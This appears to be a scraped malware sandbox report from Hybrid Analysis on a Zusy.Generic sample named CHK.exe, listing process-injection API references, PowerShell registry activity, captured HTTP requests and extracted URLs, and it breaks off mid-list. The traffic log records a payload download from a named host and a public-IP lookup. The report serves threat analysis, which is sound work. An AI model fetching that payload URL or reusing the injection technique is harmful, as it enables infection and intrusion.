26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 62:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T485,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Zusy.Generic Sample 501738b2515b… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 501738b2515b…. Malware family: Zusy.Generic. Threat score 100/100. 6/27 AV engines flagged this file. 11 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/501738b2515bb3e418091fc3cd9408ee7f8d84b527c643be1ed6f8057353b20e","keywords":["Malicious","Zusy.Generic","malware analysis","sandbox report","threat intelligence","501738b2515bb3e418091fc3cd9408ee7f8d84b527c643be1ed6f8057353b20e"],"about":{"@type":"SoftwareApplication","name":"CHK.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"501738b2515bb3e418091fc3cd9408ee7f8d84b527c643be1ed6f8057353b20e","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Zusy.Generic","antivirusDetections":{"malicious":6,"total":27},"behavioralIndicators":{"malicious":11,"suspicious":20},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T44d,Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00003020.00000000.123996.8CA70000.00000004.mdmp, 00000000-00003020.00000001.124724.8CB49000.00000004.mdmp") Found string ":\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation.ni.dll" (Source: "00000000-00003020.00000000.123996.8CA70000.00000004.mdmp, 00000000-00003020.00000001.124724.8CB49000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00003020.00000000.123996.8CA70000.00000004.mdmp, 00000000-00003020.00000001.124724.8CAB9000.00000004.mdmp") Found string ".Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00003020.00000000.123996.A7020000.00000004.mdmp") Found string "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=MSIL" (Source: "00000000-00003020.00000000.123996.A7020000.00000004.mdmp")28:T764,Found reference to API "MpFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00003020.00000000.123996.95ED2000.00000002.mdmp, 00000000-00003020.00000001.124724.7A008000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00003020.00000001.124724.7A008000.00000002.mdmp") Found reference to API "CreateThreadpool" (Indicator: "CreateThread"; Source: "00000000-00003020.00000001.124724.7A008000.00000002.mdmp") Found reference to API "CreateThreadpoolIo" (Indicator: "CreateThread"; Source: "00000000-00003020.00000001.124724.7A008000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00003020.00000001.124724.7A008000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00003020.00000001.124724.7A008000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00003020.00000001.124724.7A008000.00000002.mdmp") Found reference to API "_VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00003020.00000001.124724.8E9F0000.00000004.mdmp") Found reference to API "_VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00003020.00000001.124724.8E9F0000.00000004.mdmp") Found reference to API "_WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00003020.00000001.124724.8E9F0000.00000004.mdmp") Found reference to API "_VirtualAllocEx32" (Indicator: "VirtualAlloc"; Source: "00000000-00003020.00000001.124724.8E9F0000.00000004.mdmp") Found reference to API "_VirtualAllocEx32" (Indicator: "VirtualAllocEx"; Source: "00000000-00003020.00000001.124724.8E9F0000.00000004.mdmp") Found reference to API "_WriteProcessMemory32" (Indicator: "WriteProcessMemory"; Source: "00000000-00003020.00000001.124724.8E9F0000.00000004.mdmp")29:T50a,Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; Source: "00000000-00003020.00000001.124724.7A008000.00000002.mdmp") Found reference to API "_GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00003020.00000001.124724.8E9F0000.00000004.mdmp") Found reference to API "_SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00003020.00000001.124724.8E9F0000.00000004.mdmp") Found reference to API "_ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00003020.00000001.124724.8E9F0000.00000004.mdmp") Found reference to API "_GetThreadContext32" (Indicator: "GetThreadContext"; Source: "00000000-00003020.00000001.124724.8E9F0000.00000004.mdmp") Found reference to API "_Wow64GetThreadContext32" (Indicator: "GetThreadContext"; Source: "00000000-00003020.00000001.124724.8E9F0000.00000004.mdmp") Found reference to API "_SetThreadContext32" (Indicator: "SetThreadContext"; Source: "00000000-00003020.00000001.124724.8E9F0000.00000004.mdmp") Found reference to API "_Wow64SetThreadContext32" (Indicator: "SetThreadContext"; Source: "00000000-00003020.00000001.124724.8E9F0000.00000004.mdmp") Found reference to API "_ResumeThread32" (Indicator: "ResumeThread"; Source: "00000000-00003020.00000001.124724.8E9F0000.00000004.mdmp")2a:T66e,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003020.00000000.123996.95ED2000.00000002.mdmp, 00000000-00003020.00000001.124724.7A008000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003020.00000000.123996.95ED2000.00000002.mdmp, 00000000-00003020.00000001.124724.7A008000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00003020.00000001.124724.7A008000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00003020.00000001.124724.7A008000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003020.00000001.124724.7A008000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00003020.00000001.124724.7A008000.00000002.mdmp") Found reference to API "RegisterWaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003020.00000001.124724.7A008000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00003020.00000001.124724.7A008000.00000002.mdmp") Found reference to API "CreateTimerQueueTimer" (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00003020.00000001.124724.7A008000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00003020.00000001.124724.7A008000.00000002.mdmp")2b:Ta25,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\INITIALIZATION\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\INITIALIZATION\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\MESSAGE\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\MESSAGE\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\SIGNATURE\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\SIGNATURE\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\CERTCHECK\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\CERTCHECK\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\DIAGNOSTICPOLICY\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\CLEANUP\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\PROVIDERS\TRUST\CLEANUP\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTDLLDECODEOBJECT") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\#2000") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\#2000") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\#2001") "powershell.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLDECODEOBJECT\#2001")2c:T9fd," HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 30 Mar 2026 09:11:20 GMT Content-Type: text/plain;charset=utf-8 Content-Length: 116072 Connection: keep-alive Last-Modified: Sun 29 Mar 2026 15:06:43 GMT Cache-Control: public max-age=604800 no-transform immutable with response body ==>3C3C53544152543E3E5456715141414D4141414145414141412F2F3841414C674141414141414141415141414141414141414141414141414141414141414141....... "GET /syxhtfn/pdtcsrm/injpbeg/dkmiped.txt HTTP/1.1 Host: waschsalon-lingen.de Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Server: nginx Date: Mon 30 Mar 2026 09:11:22 GMT Content-Type: text/plain Content-Length: 1001156 Last-Modified: Mon 30 Mar 2026 02:48:04 GMT Connection: keep-alive Vary: Accept-Encoding ETag: "69c9e464-f46c4" Accept-Ranges: bytes with response body ==>3D3D4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141....... "GET / HTTP/1.1 Host: icanhazip.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Date: Mon 30 Mar 2026 09:11:36 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=rY3NdRr2A8.4nO.S2pqTf_339eIp0xijEfoY4DhAY_A-1774861896.2876077-1.0.1.1-rUHihFvHqOVvsfm3dfPM4aMWTfKUVQbzPa.ZGsBuhllF6GSMwldFvvhw1bAZonm_YvJQyDB2ot3RgDoMRLqkne1Lzg49qPx2z_JNLa2LgFsYwScQJfnFOusgtm_4FEJg; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Mon 30 Mar 2026 09:41:36 GMT Server: cloudflare CF-RAY: 9e45fce3c8532b10-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A.......43:T47fe,"http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00003020.00000000.123996.8E8A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003020.00000000.123996.8E8A0000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00003020.00000000.123996.95ED2000.00000002.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcdigicert" - Source: "00000000-00003020.00000000.123996.A7020000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00003020.00000000.123996.A7020000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e46@pglobalsign" - Source: "00000000-00003020.00000000.123996.A7020000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00003020.00000000.123996.A7020000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00003020.00000000.123996.A7020000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;+>%yus1[digih" - Source: "00000000-00003020.00000000.123996.A7020000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00003020.00000000.123996.A7020000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00003020.00000000.123996.A7020000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003020.00000000.123996.A7020000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00003020.00000000.123996.A7020000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00003020.00000000.123996.A7020000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00003020.00000000.123996.A7020000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00003020.00000000.123996.A7020000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003020.00000000.123996.A7020000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00003020.00000000.123996.A7020000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00003020.00000000.123996.A7020000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00003020.00000000.123996.A7020000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003020.00000000.123996.A7020000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00003020.00000000.123996.A7020000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00003020.00000000.123996.A7020000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00003020.00000000.123996.A7020000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003020.00000000.123996.A7020000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>enty" - Source: "00000000-00003020.00000001.124724.8CAB9000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportttps://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&indows" - Source: "00000000-00003020.00000001.124724.8E8A0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00003020.00000001.124724.8E8A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00003020.00000001.124724.8E8A0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003020.00000001.124724.8E8A0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcdigicert" - Source: "00000000-00003020.00000001.124724.A7020000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00003020.00000001.124724.A7020000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e46@pglobalsign" - Source: "00000000-00003020.00000001.124724.A7020000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00003020.00000001.124724.A7020000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00003020.00000001.124724.A7020000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;+>%yus1[digih" - Source: "00000000-00003020.00000001.124724.A7020000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00003020.00000001.124724.A7020000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00003020.00000001.124724.A7020000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003020.00000001.124724.A7020000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00003020.00000001.124724.A7020000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00003020.00000001.124724.A7020000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00003020.00000001.124724.A7020000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00003020.00000001.124724.A7020000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003020.00000001.124724.A7020000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00003020.00000001.124724.A7020000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00003020.00000001.124724.A7020000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00003020.00000001.124724.A7020000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003020.00000001.124724.A7020000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00003020.00000001.124724.A7020000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003020.00000001.124724.A7020000.00000004.mdmp") Found URL "http://www.microsoft.com/wiqst*&pj>e" - Source: "00000000-00003020.00000001.124724.A7C6C000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xl$0h" - Source: "00000000-00003020.00000001.124724.A7C6C000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00003020.00000001.124724.A7C6C000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00003020.00000001.124724.A7C6C000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00003020.00000001.124724.A7C6C000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00003020.00000001.124724.A7C6C000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00003020.00000001.124724.A7C6C000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003020.00000001.124724.A7C6C000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00003020.00000001.124724.A7C6C000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004260.00000000.123148.02EB0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004260.00000001.123828.02EB0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00004664.00000000.123563.34B60000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00004664.00000000.123563.34B60000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00004664.00000000.123563.34B60000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00004664.00000000.123563.4D170000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcthawte," - Source: "00000000-00004664.00000000.123563.4D170000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00004664.00000000.123563.4D170000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00004664.00000000.123563.4D170000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00004664.00000000.123563.4D170000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00004664.00000000.123563.4D170000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00004664.00000000.123563.4D170000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00004664.00000000.123563.4D170000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;addtrust" - Source: "00000000-00004664.00000000.123563.4D170000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00004664.00000000.123563.4D170000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00004664.00000000.123563.4D170000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00004664.00000000.123563.4D170000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00004664.00000000.123563.4D170000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00004664.00000000.123563.4D170000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0system.xml.dllanonsly" - Source: "00000000-00004664.00000000.123563.4D170000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00004664.00000000.123563.4D170000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00004664.00000000.123563.4D170000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00004664.00000000.123563.4D170000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3geotrust" - Source: "00000000-00004664.00000000.123563.4D170000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lsuuuhhsmookhp" - Source: "00000000-00004664.00000000.123563.4D170000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00004664.00000000.123563.4D170000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lkn" - Source: "00000000-00004664.00000000.123563.4D170000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1l0j" - Source: "00000000-00004664.00000000.123563.4D170000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsu*http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@hl" - Source: "00000000-00004664.00000000.123563.4DF60000.00000004.mdmp") Found URL 